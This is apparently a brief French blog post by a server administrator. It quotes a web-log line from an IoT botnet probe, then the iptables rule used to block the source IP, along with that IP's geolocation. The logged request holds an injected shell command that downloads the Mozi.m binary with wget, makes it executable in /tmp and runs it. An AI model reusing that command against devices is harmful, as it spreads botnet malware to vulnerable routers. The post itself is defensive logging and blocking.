J’ai pu voir dans mes logs :
125.43.243.4 - - [14/Oct/2021:12:53:13 +0200] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 0 "-" "-"
J’ai donc filtré l’IP :
# iptables -A INPUT -s 125.43.243.4 -j DROP # /usr/sbin/iptables-save > /etc/iptables/rules.v4
Misère.
| IP Address | Country | Region | City |
|---|---|---|---|
| 125.43.243.4 | China  |
Henan | Jiaozuo |
| ISP | Organization | Latitude | Longitude |
| China Unicom Henan Province Network | Not Available | 35.2397 | 113.2331 |